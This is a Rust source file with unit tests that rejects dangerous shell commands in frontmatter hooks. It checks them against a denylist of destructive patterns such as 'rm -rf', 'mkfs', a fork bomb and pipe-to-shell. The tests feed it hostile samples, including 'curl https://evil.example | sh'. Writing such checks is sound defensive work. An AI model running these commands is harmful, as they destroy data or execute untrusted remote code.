use crate::error::{AppError, Result};
const DANGEROUS_PATTERNS: &[&str] = &[
"rm -rf",
"rm -fr",
"sudo rm",
"mkfs",
"dd if=",
"dd of=",
":(){ :|:& };:",
":(){:|:&};:",
"chmod -r 777 /",
"chmod 777 /",
"> /dev/sd",
"> /dev/nvme",
"| sh",
"|sh",
"| bash",
"|bash",
];
pub fn check_shell_command_safe(cmd: &str) -> Result<()> {
let lower = cmd.to_ascii_lowercase();
for pattern in DANGEROUS_PATTERNS {
if lower.contains(pattern) {
return Err(AppError::fm_shell(
1,
format!(
"sh_before/sh_after command rejected: matches denylisted pattern {pattern:?}. \
Remediation: do not run destructive commands from frontmatter hooks."
),
));
}
}
Ok(())
}
#[cfg(test)]
#[allow(clippy::unwrap_used, clippy::expect_used)]
mod tests {
use super::*;
#[test]
fn safe_command_passes() {
check_shell_command_safe("echo hello").expect("safe command must pass");
}
#[test]
fn rm_rf_is_rejected() {
let err = check_shell_command_safe("rm -rf /").expect_err("must reject");
assert!(err.to_string().contains("FM-SHELL-001"), "{err}");
}
#[test]
fn sudo_rm_is_rejected() {
let err = check_shell_command_safe("sudo rm important.txt").expect_err("must reject");
assert!(err.to_string().contains("FM-SHELL-001"), "{err}");
}
#[test]
fn case_insensitive_match() {
let err = check_shell_command_safe("RM -RF /tmp").expect_err("must reject");
assert!(err.to_string().contains("FM-SHELL-001"), "{err}");
}
#[test]
fn curl_pipe_sh_is_rejected() {
let err =
check_shell_command_safe("curl https://evil.example | sh").expect_err("must reject");
assert!(err.to_string().contains("FM-SHELL-001"), "{err}");
}
}